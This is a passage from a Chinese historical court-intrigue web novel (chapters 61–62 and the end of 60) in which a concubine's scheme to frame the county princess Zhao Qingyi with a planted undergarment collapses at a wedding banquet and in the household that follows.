楚元河对赵家二房始终淡淡的,论能力,二房确实比不上大房,不然也不至于在京中混迹多年,还不见丝毫建树。 但平庸归平庸,他也不是苛刻的帝王,不会因此发难。 需知水至清则无鱼,朝中如二房赵怀良那等尸位素餐之辈不在少数,好在还能干些杂活,维持朝廷运转,他便睁一只眼闭一只眼,只是高位始终是有能者居之。 赵怀良不是这块料,心却大得很,暗地里攀附上了王家,这才是他被上位者忽视的根本原因。 至于他的女儿…… 楚元河左想右想,到底顾及对方是赵清仪的堂妹,不能给她配太低了。 “你觉得,永宁侯世子如何?” 福贵想了半天,终于想起这号人物,不怪他,实在是这永宁侯世子萧寒玉太孤僻了,“呃……家世背景自是没得说,侯府又满门忠良,几任永宁侯皆是难得的直臣,孤臣。” 孤臣就意味着不可能与任何一方势力勾结,楚元河觉得不错,“就他了。” — 翌日一早,昏迷的谭家郎君被乞丐发现,送到了谭家门前,随后谭尹遭人套麻袋暴打的消息不胫而走。 谭夫人看着一夜未归,鼻青脸肿的儿子,气急败坏地嚷嚷,“天子脚下,何人如此胆大包天?报官!我要报官!” 谭夫人气势汹汹,上官府报案,谁知官府根本不敢受理,百般推辞。 赵家也在当日得知此事,冯氏最高兴,笑到大腿都拍疼了,“活该!这谭家活该!朝三暮四的狗东西,合该遭此报应!” 接着第二则好消息接踵而至,司礼监秉笔黄内侍,亲自带着赐婚圣旨来到赵家,当众宣布赐婚。 冯氏捧着圣旨的手一个劲儿地抖,高兴得险些昏过去。 陛下赐婚,还给自家女儿定了永宁侯世子萧寒玉! 虽说萧寒玉此人孤僻,沉默寡言,极少现于人前,可冯氏多年前见过一回,记得那孩子生得也是眉清目秀的,不比谭尹差。 关键是家世,人家可是有侯爵要继承的,赵温仪嫁过去,直接就是有诰命的世子夫人,将来的永宁侯夫人! 而且名义上的婆母还是自家亲姑姑,婚后婆媳关系自是没得说,小姑子又是天真憨厚的小表妹,亲厚得很。 冯氏越想,越觉得这桩婚事好啊,关键还是陛下赐的婚,这说明什么?说明陛下看重她们赵家呀! 冯氏也有自知之明,估计多半还是看了大房的面子,可实在的好处是落自己头上了。 思及此,冯氏再看老夫人,再看孟氏,甚至看赵清仪,都变得和颜悦色起来。 还好还好,上回去侯府相看时赵清仪也去了,直接把赵谭两家的婚事搅黄了,不然那日真把女儿定给谭家,哪儿还有今日的赐婚啊。 冯氏决定了,从今往后,赵清仪就是家里的福星! 谁敢说赵清仪半句不是,那就是个她这个当二婶的对着干! 冯氏笑得见牙不见眼,扭扭捏捏走到赵清仪跟前,“清仪,先前二婶有诸多不对之处,还望你多担待,从今往后,咱们就是和和气气的一家人。” 十足的谄媚姿态,孟氏都快没眼看了,不过转念一想,也能理解,这些年她们与冯氏并无恩怨,先前几番冲突,也是因为冯氏着急女儿婚事,同样是做母亲的,孟氏可以理解。 冯氏也确实放下了,她唯一在乎的就是赵温仪,现在女儿婚事尘埃落定,她也没什么可牵挂的,主动过去冰释前嫌,不丢脸。 赵清仪暗想,楚元河本事还真大,居然都能说动陛下,让陛下给赵温仪赐婚,听到二婶的话,她才回神,含笑道,“二婶客气了,这是二妹妹的造化。” 赵老夫人欣慰不已,赵家和侯府本就是姻亲,过去她倒没想过让孙女嫁去侯府,现在赐婚了,她想想,觉得也不错。 只是…… 想到侯府男丁宿命般的结局,赵老夫人不免担心,怕将来战事一起,萧寒玉要肩负起侯府重任,奔赴沙场。 她的亲女儿年纪轻轻守了寡,可不希望自己的孙女也步守寡的后尘。 但现在都已经赐婚了,多想无益,赵老夫人只能多盼些好,让孟氏与冯氏赶紧准备准备,再清点一遍贺礼,看是否还有疏漏,晚些得去张家送嫁。 这才让冯氏消停,不过走时她还笑吟吟的,热络地与赵清仪闲话,一直夸赵清仪是个有福气的,连带着底下的妹妹也有福气了。 可不是福气嘛,当初的赵漫仪给李彻做外室那三年,也是沾了赵清仪的光,那三年荣华富贵没少享。 冯氏一语双关,笑得更开心了。 方姨娘躲在暗处,咬牙冷笑,就让赵清仪再得意半日,等她身败名裂了,看看还有几人能围在她身边打转恭维。 与此同时,李衡也得到了上头的赐婚圣旨,不过场面就不如赵家热闹了,他独自接过圣旨,看到上面清清楚楚写着方茹的名字。 李衡瞬间如坠冰窟,他不明白,陛下何故要为他赐婚? 来传旨的内侍无奈叹气,怕他听不懂,还提醒一句,“李大人曾求娶县主,但陛下认为,你与县主并非良配,倒是这方姑娘,虽出身不显,却胜在痴心一片,故特下此旨意。” 李衡仍不敢置信,捧着圣旨的手隐隐颤抖。 “陛下宽厚,顾及大人心思,没让这道圣旨昭告天下,大人若是不愿……婚事可以拖着。” 说白了,这道密旨仅仅是起个敲打的作用,只要他不再惦记不该惦记的,这密旨就是摆设,没人会强迫他必须迎娶方茹,可若是…… 李衡很快从内侍的话中品出了深意,握着圣旨的手紧了又紧,最终还是屈服了,缓缓跪地。 “微臣……叩谢陛下圣恩。” 60-70 第61章 第61章被方姨娘戴了绿帽…… 内侍见他明白了上头的意思,满意点头离去。 李衡缓了许久,苦涩一笑,将圣旨收起,小厮上前提醒他,该去乔家赴宴了。 他与新郎官乔文柏是同科进士,交情匪浅,故乔文柏此次娶妻也邀请了他。 “知道了。”李衡应了一声,回屋更衣,朝廷已经分派官职下来了,他昨夜便搬离李宅到官舍住着。 想到今日或许还会在婚宴上遇到县主,他还是选了新做的一身湛蓝圆领袍,临走时,不由多看了床头的匣子一眼,脑中回想起那日方姨娘与他说过的话。 只要他照做,他是不是就能与县主…… “李兄,走了。” 与他同住一间官舍的袁四郎嘻笑着拍了他一下,“发什么呆呢?” 李衡回神,扯了扯嘴角,“没什么,走吧。” 黄昏时分,二人随着乔家的迎亲队伍,浩浩荡荡去往张家,彼时赵清仪还在张婉琰的闺房中,柔声安抚她紧张的心。 于张婉琰而言,这是她这辈子头等要紧的大事,她又是初次成婚,紧张忐忑在所难免,有赵清仪这个“过来人”相伴,多少缓和了她的不安。 张夫人悄悄进来,往女儿怀里塞了一本小册子,叮嘱她快些看完。 张婉琰只翻开一页,便羞得脸红心跳,赶紧丢开。 张夫人嗔她,“再不好好学学,新婚夜可是要吃苦头的。”知晓女儿害羞,当着她这个娘亲的面不好意思,索性让她不懂的去问县主。 忽然被提到的赵清仪愣了一瞬,随即低头——张婉琰方才害羞,把小册子丢到她这里了。 捡起来一看,竟是避火图。 张婉琰怕污了她眼睛,劈手夺下,“哎呀清仪姐姐你还是别看了。”紧张之下,她都忘了赵清仪是嫁过人的。 赵清仪失笑,“你是该听你母亲的。” 避火图是女子出阁必看之物,她出嫁前,母亲身边的华锦姑姑也曾来教导她新婚夜诸多事宜。 只不过对赵清仪来说,这些琐事已然隔了一世之久,记忆都模糊了,想到上回在宫里与楚元河那次,她就是吃了不懂的亏。 思及此,她的脸又热了。 张婉琰听她说得情真意切,到底还是扭扭捏捏翻开,认真观摩学习。 但也没看多久,喜婆急急忙忙跑进来,“新郎官来了!新郎官来了!” 一大帮仆婢跟着涌了进来,七手八脚为张婉琰整理衣冠,准备送她上花轿。 张婉琰刚津津有味地看进两页,就被这突如其来的动静打断,慌乱之下,她把避火图塞给了离她最近的赵清仪。 一切来得太过急促,赵清仪也没多想,下意识将避火图揣进自己的袖兜里,便慌忙搀着张婉琰出阁,随着接亲队伍,一路将人送到乔府。 乔文柏出身不高,本要入赘张家,临到婚期,张家又改了主意,在张首辅看来,乔文柏是后起之秀,有大好前程,只要他待自家女儿好,是否入赘也不打紧了。 乔文柏也争气,承诺婚后十年之内不纳妾,并拿出婚前积攒多年的积蓄,置办了一座三进的宅子,宅子算不得阔气,但能在京中靠自己安置宅子,已经说明了他的能力与担当。 况且他许诺了十年不纳妾。 十年听着不多,但在张家人看来,一个男人愿意守着发妻十年,且无论是否有子嗣都不纳妾,已经远胜京中不少世家公子。 张婉琰对这桩婚事并无过多期待,十年就十年吧,以后的事,以后再说,便欢欢喜喜嫁了。 乔府张灯结彩,乔文柏上头只有一个憨厚老实的母亲,此刻也在府门外高高兴兴迎接儿媳,还有许多人看在张家的面子上前来观礼,其中就包括长公主。 送张婉琰进了新房,赵清仪准备去前厅与长公主叙话,便是在这一段路,她明显察觉到来来往往的路人,总会朝她投去异样的目光。 等她到了前厅入席,一同前来赴宴的二婶冯氏与赵温仪也古古怪怪的,冯氏好几次欲言又止。 赵清仪没理会,低头准备用膳。 谭夫人笑呵呵地凑上来,“不知何时能吃到县主的喜宴?” 谭夫人的音量不低,一开口,闹哄哄的宴席安静了片刻。 赵清仪抬眸,冷冷扫向谭夫人。 谭夫人丝毫不惧,故作惊讶地问,“县主不是要和李榜眼定亲了吗?早听说县主还在李家时,李榜眼便倾慕嫂子,县主和离后,他就巴巴地登门提亲去了,先前县主拒绝我谭家亲事,我还以为,县主已经答应了李榜眼的提亲。” 此话一出,原本就在私底下议论赵清仪的宾客面面相觑,似乎是通过谭夫人之口,证实了今日的流言蜚语。 一直想说话的冯氏按捺不住,“谭夫人误会了,李衡确实来提过亲,但被咱们县主拒了。” “哎哟,是吗?” 谭夫人显然不信,笑得意味深长,“那真是怪了,外头怎么都传县主与李榜眼心意相通?莫非……是有人故意要污了县主名声?” 赵清仪终于明白,来了乔府之后,那些看向自己的异样目光是从何而来。 不等赵家这边解释,新政学堂的一个士子跳出来打趣道,“我就说李兄这不近女色之人,如何藏了一件女子的贴身之物,原来竟是县主的。” 顿时又激起满堂哗然,众人看待赵清仪已不复从前的敬重,甚至有人目露鄙夷,大家都顾不上用膳,七嘴八舌议论这则荒唐事。 赵清仪攥着银箸的手不自觉用力,细白的指节泛起青色。 袁四郎的发难来得太过突然,说罢还用胳膊肘撞了李衡一下,“李兄,你小子艳福不浅啊。” 李衡当场变了脸色,他和袁四郎同住一间官舍,万万没想到,对方居然在暗地窥伺他的隐秘,还在这今日这种场合说了出来! 这是要毁了他和县主两个人! 李衡慌忙去看赵清仪,就见对方眼神全然冷了下来,他心头咯噔一瞬,不详的预感油然而生。 他知道,赵清仪这是发怒的征兆,立即起身呵斥,“一派胡言!我李衡行得正做得端,从未与县主有过私交!” “李兄,你就别装了,你若是真君子,就该敢作敢当。” “你——” 李衡气得脸红脖子粗,根本不敢去看赵清仪是何脸色。 袁四郎不依不饶,不屑一笑,“你敢发誓吗?发誓你从未藏过县主的贴身之物。” “我……” 李衡想到方姨娘那日还给他的匣子,梗着脖子道,“我没有!” “你没有,那你床头的匣子里藏的又是什么?”袁四郎彻底与他撕破脸,一副清高做派,严辞质问。 李衡藏在宽大袖摆的下的双手紧握成拳,在众人探究怀疑的目光中,他额角悄然沁出冷汗。 ……东西,他*确实藏了。 那日方姨娘交给他,告诉他那小衣是县主的贴身之物,只要他想,就能凭借此物强娶县主,他听了方姨娘给他出的主意,并未当场应下,却也没拒绝,而是抱着匣子离开。 再后来,那小衣他不知如何处置,便一直锁在匣子里,平日他也极少打开,李衡不知袁四郎究竟从何处得知这个秘密。 他沉默着不答话,在袁四郎看来,无疑就是心虚。 “李兄,”袁四郎眸中划过一抹得逞,“你若坦坦荡荡,不如就让人去官舍里搜上一搜?” 李衡难以置信,袁四郎是在府学认识的,二人同窗多年,又一同科考,还被选中在新政学堂办事,他怎么也没料到,袁四郎会在今日这种场合背刺自己。 “不行。”李衡想也不想拒绝他,“本就是子虚乌有之事,让人去搜,岂不是刻意往县主身上泼脏水?” “反正……反正我绝不会行那等龌龊之事!” 可他的一番说辞,在外人看来是此地无银三百两,若真没私藏,何不让人大大方方去搜? 只要搜不到,自然清白了。 可李衡百般阻挠…… 袁四郎想起昨日方姨娘交代他的话,若李衡今日名誉扫地,他日新政学堂就由他做主,而他自然而然会顶替李衡的位置,成为张阁老乃至陛下看重的人。 他一定要把握这个机会。 “有没有,一搜便知!” 赵清仪听了半天,也大概听出了眉目,淡笑道,“女子的贴身之物皆会妥善保管,我的东西,也从不交于外人,不知这位郎君如何就言之凿凿,确定李榜眼藏的,就是我的东西?” 袁四郎一噎,旋即飞快接话,“我亲眼看到了!而且、而且当时李兄自己也说了,那是他心上人留给他的!” 这话纯属胡诌,横竖都闹开了,只要派人去搜,物证确凿,他说的是真是假也不重要了。 场面混乱不堪,好好的喜宴,愣是被谭夫人与袁四郎搅和得乌烟瘴气。 长公主还是相信赵清仪有了自家皇兄,便不会再看上别的男人,但放任有心人闹下去,定会搅乱乔张两家的喜事。 两边都是皇兄器重的臣子,长公主必须站出来主持公道,平息争端。 收到赵清仪递来的眼神,长公主心里有了数,当下派贴身宫女带禁军前去官舍搜查。 闹哄哄的宴席才慢慢平静下来,只是大家都没了参加喜宴的心情,反倒想借机看场好戏。 赵清仪几乎可以预感接下来会发生什么,红唇始终噙着若有似无的笑意,扭头小声吩咐檀月,让她去主家跟前赔礼致歉,顺道给对方一个准备,免得接下来不可收拾,影响心情。 新郎官乔文柏是知道张婉琰与赵清仪的交情的,况且赵清仪的县主身份摆在那里,于情于理,他都能理解。 “事情发生在我乔家,该下官给县主赔不是才对。”怪他没有事先弄清楚,把和县主不对付的人请到了席面上。 檀月一五一十将乔文柏的回话带到,赵清仪欣慰之余,还是恼的,毕竟是她好姐妹一辈子就一回的大喜事,硬生生让这帮人坏了气氛。 对面的李衡忐忑难安,他越是不安,袁四郎心里越肯定他有鬼,觉得自己今日赌对了。 谭夫人也暗自得意,悠哉悠哉吃了盏茶,睨向赵清仪的眼神充满挑衅不屑。 当初赵清仪眼高于顶,拒绝她谭家的婚事,今日她就要好好看看,看赵清仪是如何从云端跌落,遭世人唾弃的。 到时候就算赵清仪跪下来求到她面前,她也绝不会多看一眼,别说嫁给他儿子当正妻,做妾她都嫌弃。 禁军的动作很快,不消半柱香的功夫,便捧着一只木匣子回来复命。 瞧见那只匣子,李衡苍白的脸色顷刻灰败下去。 匣子是他的。 长公主起身上前,看了那匣子一眼,“这是何物?” 禁军立刻打开,“都是些杂物,并无异常。” 袁四郎势在必得的笑意僵住,他冲过去在匣子里翻找,“怎么可能?不对,县主的小衣就在匣子里头!是你们拿走了!” 袁四郎指着禁军的鼻子,“是不是你们拿走了?” “放肆!” 长公主往日宽和待人,却不代表她没有脾气,面对袁四郎这种搅事精,她更是不假辞色道,“你的意思是,本公主的人徇私包庇?” 袁四郎膝盖一软,扑通跪下,直呼不敢。 长公主懒得理他,又问禁军可有搜到所谓的贴身小衣。 禁军面不改色,“搜到了。”将折叠好的小衣呈上。 袁四郎立刻大笑着叫唤起来,“对对对!就是这件红色小衣!就是李衡私藏的!” 下一刻禁军又道,“不过这并非从李大人那里搜出来的,而是在袁大人的枕头下。” 此话一出,犹如晴天霹雳,袁四郎半跪的身子一晃,差点倒下。 什么?他听到了什么? 从他枕头底下搜出来的? 怎么可能! “污蔑!这一定是污蔑!”袁四郎大喊大叫,冲过去要撕打回话的禁军,“李衡给了你什么好处,让你反口来污蔑我?” 禁军都是一帮练家子,根本不惧他这点力气,后头的禁军一拥而上,拔剑指着袁四郎,他这才消停,重新跪回去。 “长公主,这其中一定有诈!” 袁四郎语气肯定,“是李衡,李衡是最后离开官舍的,肯定是他临走之前,将小衣塞到在下枕头里!” 李衡气笑了,“污蔑你?你有什么值得我费心污蔑?” 事到如今,他看清了眼前之人,不再客气。 “你别得意!” 袁四郎死不悔改,“县主的小衣在我这里,现在和县主不清不楚的人成了我,就算今日我名声扫地,我还能娶县主回家,李衡,你这是赔了夫人又折兵!哈哈哈……” 李衡的脸色果然又变了,惶恐不安地望向赵清仪。 他真的不知道事情会闹成这样,早知如此,当日在赵家,他就该将那小衣销毁才是,不至于连累县主。 赵清仪依旧如局外人般,慢条斯理地用着喜宴,一举一动,皆是贵气。 只有了解真相的檀月上前,询问长公主可否借小衣一看。 是不是县主的,可不能凭别人一张嘴。 长公主允了之后,檀月将小衣展开。 席上还有许多未出阁的姑娘小姐,譬如赵温仪,还有些为妻多年的官家夫人,看那小衣展开,纷纷羞着脸不敢去瞧。 冯氏一颗心悬在嗓子眼里。 原本今日要赴宴的还有孟氏,但孟氏体弱喜静,不爱凑热闹,觉得有长女出面即可,所以今日陪着赵清仪的,只有二房的长辈。 赵怀良那老东西不爱掺和,冯氏倒是想替侄女说话,此刻也不知要如何解围,只能干着急,心里祈祷千万别是侄女的,否则侄女名声臭了,她的温仪…… 虽说已经赐婚了,可她还是觉得两房一体,赵清仪不好了,她和温仪也讨不着便宜。 真是急死人了。 冯氏一拳头砸在掌心里,唉声叹气。 赵温仪忽然想到什么,拉了拉母亲的衣袖,她记得母亲和她提过,方姨娘一早就说大姐姐和李衡不清白,今日之事,说不好就是方姨娘在背后推波助澜。 赵温仪频频用眼神示意,冯氏这才反应过来,惊骇地张大嘴。 赵温仪及时堵了回去,示意冯氏一会儿见机行事,一旦情况不利,就让冯氏出面,把方姨娘推出去。 管今日这事儿是不是方姨娘做的,先赖她身上,转移众人的注意。 冯氏暗暗点头,表示自己明白了。 母女俩眼神交汇的功夫,檀月也从小衣上找到了蛛丝马迹。 长公主见檀月神色凝重,心一沉,“如何,这是你家县主的吗?” 檀月下意识去看自家县主,随即惶惶跪地,“回长公主,奴婢……奴婢不敢说。” 这下吊足了众人的胃口,不乏有好事者高声催促,“到底是谁的小衣,快说啊!” “就是就是,别藏着掖着了。” 檀月翻出小衣的内侧,眼一闭,心一横,“长公主请看,这上面绣了名字。” 宫女接过小衣,送到长公主眼前,长公主只瞥了一眼,差点笑出来。 面上还算镇定,清清楚楚,一字一顿念道,“方、巧、儿?” 人群中装死半日,沉默不语的赵怀良一口酒喷了出来。 冯氏与赵温仪母女则瞪大了眼睛,你看看我,我看看你。 其他宾客们也丈二和尚摸不着头脑,不知这方巧儿又是何许人物,是哪家的千金小姐?还是哪位官老爷的夫人? 私下问了一圈,好像没人认识。 只有赵清仪实在憋不住,轻笑出声,“方巧儿,那不是二叔的姨娘吗?” 县主的二叔?哦,赵怀良赵大人。 可赵大人姨娘的小衣,又怎么会在袁四郎的枕头底下? 宾客们一脸的讳莫如深。 和赵怀良同一官署的大人们,纷纷朝赵怀良投去古怪又怜悯的目光。 赵怀良万万想不到,好好的喜宴,怎么就闹出了事端,还牵着到自己身上,他只想安安分分吃个席面而已。 一道又一道怜悯的视线投来,赵怀良彻底坐不住冲上前,抢过那小衣,非得自己亲眼瞧瞧才死心。 可小衣入手,他的心先凉了半截,这花色,这样式,甚至是面料,他都再熟悉不过。 再一看小衣内侧用银丝线绣的闺名,名字对上了,连刺绣的针法都是方姨娘擅长且钟爱的套针绣。 赵怀良死死攥着那件小衣,浑身剧颤,一张老脸从苍白转为青红,再转为黑沉。 这足以证明事实。 长公主莞尔,“原来,此事从头至尾都与宸华县主无关,而是这方姨娘与人通奸,不知这方姨娘何在?她可有话要说?” 冯氏登时一个激灵。 长公主的话倒是提醒她了,这种场合,方姨娘一个妾室是没资格赴宴的,方姨娘不在,压根没法替自己狡辩。 那不正好是她冯如兰落井下石的大好时机吗! 冯氏当下走过去,跪地回话,“臣妇冯如兰拜见长公主殿下,这方姨娘乃我府中一位小妾,并未受邀赴宴,不过既然事情牵扯到家中小妾,臣妇便有话要说。” 赵怀良还处在遭受背叛的震惊之中,尤其他还当众被方姨娘戴了绿帽,正是火烧心头之际,压根顾不上冯氏。 冯氏趁机将方姨娘曾找过自己,还要她配合设计陷害赵清仪与李衡有染一事和盘托出,其中少不得添油加醋,将那方姨娘说成十恶不赦的贱妇。 撒谎的最高境界就是真真假假,假假真真,她可不是凭空胡说,至少前半段都是真的。 当日是何时辰,什么天气,又在何处,身边几个仆妇,冯氏都能说得清清楚楚,如此一来,后半段不管她造什么谣,那都会成真的。 在场众人再次哗然,议论纷纷。 冯氏交代完,不忘拍着胸脯表忠心,“臣妇是粗蠢了些,可也知道县主是臣妇的亲侄女,是以臣妇当日便严词拒绝了方姨娘,绝不与她同流合污!却没想她撺掇臣妇不成,就联合她的奸夫污蔑县主,实在可恶!还请长公主殿下做主,还县主一个公道啊!” 赵温仪紧跟着跪地附和。 李衡也上前,先向赵清仪作揖道歉,旋即将方姨娘曾强留他在赵家过夜,并利用匣子威胁他,要他攀扯县主之事一五一十交代出来。 “……这匣子乃下官生母遗物,早在数月便前不翼而飞,后来不知如何落到了方姨娘手中,那日方姨娘曾在私底下询问下官,问下官是否愿意配合她,只要下官答应,她就有办法迫使县主下嫁。” 后面的说辞基本与冯氏一致,他们都拒绝了,却没想到最方姨娘会找到袁四郎,甚至还撺掇了谭夫人。 提到谭夫人,冯氏想起两家恩怨,赶紧补上一刀,“对对,那谭夫人也不是个东西!前几日她相中了县主,想向县主提亲,县主没瞧上她儿子!” 说罢,做出一副恍然大悟的样子,“难怪……难怪今日好端端的,她跑去县主跟前挑事,肯定她是高攀县主不成,怀恨在心了!” 一时间墙倒众人推。 长公主勃然大怒,“好一对不要脸的奸夫淫.妇!” 一声冷喝,皇家威仪遍及满堂。 谁让赵清仪是她未来嫂嫂,她当然得为赵清仪出头,况且眼下证据确凿。 袁四郎与谭夫人吓得魂飞魄散,直呼冤枉。 袁四郎觉得自己才是最冤的那个,在与人私通和受贿办事之间,他当然选择后者,当下哭着全招了,说是方姨娘给了他五十两银子,要他今日配合谭夫人行事,坐实宸华县主与李衡有染一事。 见众人不信,袁四郎哭道,“即便、即便要私通,下官也没有这个条件啊!下官这种身份,连赵家的门都进不去。” 他只是小小一介书生,微末寒门,侥幸参与了新政学堂的创立,与那些高门大户从无瓜葛,若非他与李衡同住一间官舍,方姨娘还找不上他。 赵清仪挑眉,“你都能收方姨娘五十两了,想与之苟且又有何难?” 袁四郎百口莫辩,哆哆嗦嗦。 赵怀良缓缓抬起头,一双眼睛犹如刀子般落在他身上。 这下彻底解释不清了,连赵老爷都怀疑他了。 就在赵怀良要扑过去掐死他时,长公主发话让禁军上前分开二人,又将袁四郎与带头闹事的谭夫人一并扣押。 “今日乃乔张喜结连理之日,这些人就莫在此处添晦气了,捆了带去赵家,让他二人去和方巧儿对峙。” 方姨娘对此一无所知,在芳菲院里来回踱步后,到底按捺不住,派人去乔府打探情况,看看事情闹起来了没有。 结果仆妇刚出院门,就“哎呦”惨叫一声。 赵怀良冲在前头,一脚踹翻仆妇,阴沉着脸进来。 方姨娘见他面色难看,心里一喜,以为赵清仪和李衡的事闹起来了。 也对,赵清仪丢了脸,就是赵家丢脸,赵怀良身为二叔,肯定也觉得丢脸,生气愤怒在所难免。 方姨娘在心里酝酿好安慰的话,扭着腰肢上前,“老爷……” 甜腻腻的话音刚出口,赵怀良冷不丁朝她白皙的小脸甩了一巴掌。 第62章 第62章搬起石头砸自己的脚 “啊!” 方姨娘被这一巴掌掴倒在地,脸颊火辣辣的疼,美眸霎时盈满泪意,娇娇弱弱地抬起眼睫,想问老爷为何如此待她。 一团红色的布料迎头砸了过来,方姨娘将小衣扯下,故作茫然。 芳菲院里又涌进了一大批人,长公主,赵清仪,冯氏,还有……被麻绳捆着的谭夫人和袁四郎! 方姨娘心中警铃大作。 袁四郎率先开口,冲她大喊大叫,“对!就是她,就是这个姨娘!” “是她去官舍找到在下,说李衡与县主有染,许诺在下五十两纹银,要在下于乔家喜宴当日戳穿此事!” 方姨娘一口气差点没喘上来,但在深宅后院多年,她早已摸准了赵怀良的心思,最清楚他吃哪一套。 “他、他是何人?为何要污蔑妾身?”方姨娘声音颤颤,泪水顺着那双美眸滚滚而落。 她慌忙跪好,膝行至赵怀良脚边,低头抚着他的脚面,哀哀戚戚的哭,“老爷,您千万不要听外人的一面之词,妾身从未见过他!妾身是冤枉的……” 赵怀良果然心软了,没忍心一脚踢开她。 长公主越发瞧不上方姨娘这幅矫揉造作的姿态,冷笑道,“方姨娘与袁四郎通奸,还教唆袁四郎与谭夫人一起污蔑县主清誉,还敢说自己不认识?” 方姨娘娇躯一凛,通奸?什么通奸? 她这次的反应不是作伪。 赵怀良也想起了这一茬,顿时什么怜惜都没了,只要想到方姨娘也曾用这幅楚楚可怜的模样,与别的男人苟且,他心底就冒出怒火。 “贱人!” 赵怀良飞起一脚,踹在方姨娘胸口。 方姨娘再次惨叫出声,与赵怀良相处多年,还是第一次见对方发这么大的火,不敢再装傻充愣,连滚带爬到他脚边。 “老爷,老爷!妾身真的是冤枉的!妾身向来大门不出二门不迈,又如何认得这什么袁四郎袁五郎?通奸更是无稽之谈啊老爷!” “一定是有人要污蔑妾身,想将妾身从老爷身边赶走,老爷千万不要被奸人蒙蔽,中了她们的奸计!”方姨娘哭诉间,若有所指地瞟向冯氏。 冯氏跟过来就是为了看好戏,莫名被方姨娘攀咬,她气得跳脚,大步流星冲过去,也赏了方姨娘一巴掌。 “你个不知廉耻不要脸的东西,自己做了见不得人的腌臜事,还敢污蔑本夫人?”冯氏打了一巴掌还不解气,拽住方姨娘的衣襟,把人扯了起来。 方姨娘连连惊叫,她是个妾室,平日在自己院里,为了方便伺候赵怀良,穿的都是上不得台面的轻薄纱衣,可禁不起冯氏这翻拉扯。 “夫人!夫人您这是做什么呀?”方姨娘捂着胸口,哭喊不止,求救的目光频频朝赵怀良看去,仿佛在说,看啊,看看你的发妻是如何泼辣粗鄙。 冯氏是个直来直去的性子,学不来方姨娘这勾栏做派,这些年没少被方姨娘上眼药,害得她们夫妻离心。 如今方姨娘这模样,又勾起许多不好的回忆,冯氏手中力道更狠,“死到临头了还敢狡辩!还敢在老爷面前勾勾搭搭,不要脸的东西!” 冯氏一手揪着她的衣襟,一手左右开弓,打得方姨娘惨叫连连。 赵怀良起初也觉得解气,毕竟方姨娘都给他戴了绿帽子,害他在乔府丢尽颜面,可看方姨娘那张娇媚的小脸高高肿起,到底于心不忍。 冯氏就知道赵怀良是个不中用的东西,总被方姨娘这些手段拿捏,她有必要提醒她的糊涂丈夫。 冯氏抓起掉落在地的小衣,恨不得塞进方姨娘的眼珠子里,“看清楚了!这就是你通奸的罪证!自个儿贴身小衣都压到外男枕头下了,还敢叫冤?” 方姨娘死死盯着面前的小衣,那小衣她认得,不是赵清仪的吗? “这不是我的!不是我的!” 方姨娘用尽浑身力气挣开冯氏,拍开在她眼前晃荡的小衣,“这是县主的,怎么会是我的?” “哦?”赵清仪立刻接话,“进到芳菲院,似乎没人告诉过姨娘今日在乔府发生的事,姨娘又如何认定这小衣是我的?” “除非……袁四郎所言确有其事,就是你在背后谋划这一切,故意栽赃陷害!” 方姨娘意识到自己的在情急之下说错了话,面上闪过一丝慌乱,“妾、妾身依稀……好像在您房里看见过,这才……” “你眼力真好,都没细看,就能断定是县主的。” 冯氏唇边的讥讽之意愈显,迫不及待要看方姨娘一会儿的脸色了,“方巧儿,你不如再仔细看看,这小衣究竟是谁的。” 方姨娘止不住的哆嗦,在众人压迫的目光下,她颤着手捡起那件小衣,样式花色颇有几分熟悉,不过这也不能证明什么,本来府里的衣裳都是主母统一安排的,纵有类似,也不能证明这就是她的。 冯氏看出她的想法,当着她的面,将小衣翻了过来,把绣有名字的那一面展露在她眼前。 方姨娘尖叫。 “啊——” 她慌忙将小衣夺回来,“不、不可能!这怎么可能!” 那日婢子把小衣偷过来的时候,她明明检查过,花色样式纵然类似,可真不是她的,怎料隐蔽的缝隙里,竟然绣了她的闺名,还与她的绣工一模一样! 这下方姨娘跳进黄河也洗不清,压根不知道是哪里出了问题。 她愤怒,“是你,是你们!你们拿我的东西,就是为了害我!” 方姨娘疯了一般,要去掐冯氏,冯氏差点被她掐得背过气去,仆妇们纷纷上前阻拦。 她的激动与疯癫落在赵怀良眼里,已经说明了一切,他闭了闭眼,万般悔恨,“家门不幸……家门不幸啊!” 赵怀良愤怒地冲过去,拽过发疯的方姨娘,又打了她一巴掌,力道前所未有的重,直接打破了方姨娘的嘴角,鲜血汩汩溢出。 方姨娘清醒了,事已至此,她再发疯只会让事情变得更糟,无罪也变有罪。 她抱住赵怀良的大腿哭,“老爷,妾身对天发誓,妾身没有与什么袁四郎通奸,妾身真的没有!” 她冤啊,这是真冤。 就算她红杏出墙,那也不可能找个一无是处的落魄书生,又无家世又无金银。 可她光喊冤狡辩,赵怀良是不会轻信的,她只能跪着忏悔,交代了一小部分的真话,“妾身、妾身只是……只是道听途说,以为县主和李衡……” “老爷,您是知道的,妾身怜爱我那至今未出阁的侄女茹,茹儿倾心李衡,您不是不知道!妾身这才想了个混主意,让谭夫人旁敲侧击打听县主的口风……” 她只承认这一点,但她没做过的事,她绝不认。 谭夫人连忙附和,“对对,臣妇只是出于好心,想帮方姨娘探探县主的口风,可没有搬弄是非的意思!” 赵清仪挑眉,“这么说,方姨娘是承认诬陷本县主的事实了?” 方姨娘险些咬碎一口银牙,她继续抱着赵怀良哭,“老爷,您罚妾身吧,是妾身糊涂,妾身想到了漫儿……” 她是赵漫仪的母亲,赵漫仪落得那般下场,她心中有恨有怨再正常不过。 “妾身只是一时被仇恨蒙蔽了双眼,说了些不该说的话,叫世人误会县主,都是妾身的错,妾身认了……” 方姨娘抬起衣袖,哭得梨花带雨,脸颊上的五指印不仅没让她狼狈,还显出了几分惹人怜惜的柔弱。 赵怀良微微动容,虽还冷着脸,却不像一开始那般怒气冲冲了,“那你说说,这小衣又是怎么回事?” “老爷?”冯氏震惊不已,这就信了? 赵怀良没搭理她,直直盯着方姨娘。 方姨娘慢慢收住哭声,含羞带怯地瞟了院门口的围观众人,有些羞于启齿地说,“老爷,您应该知道的……妾身从不在贴身衣物上绣自己的闺名……” 她只在荷包上绣过名字,赠予赵怀良以表心意,或是给赵怀良做衣裳时,会在袖口处留下自己的闺名,这是独属于她二人间的趣意,也是赵怀良能一眼认出她绣工的原因。 赵怀良听罢,又信了三分,同时也回忆起过去诸多往事,念及方姨娘的好,他的心彻底偏向了方姨娘,也觉得方姨娘是被冤枉了。 毕竟,这十几二十年,他对她的宠爱都是真的,方姨娘不可能背弃自己。 思及此,赵怀良的怒气转向冯氏。 冯氏被他阴沉的眼神瞧得莫名其妙,“什么意思?老爷以为是我陷害她?” 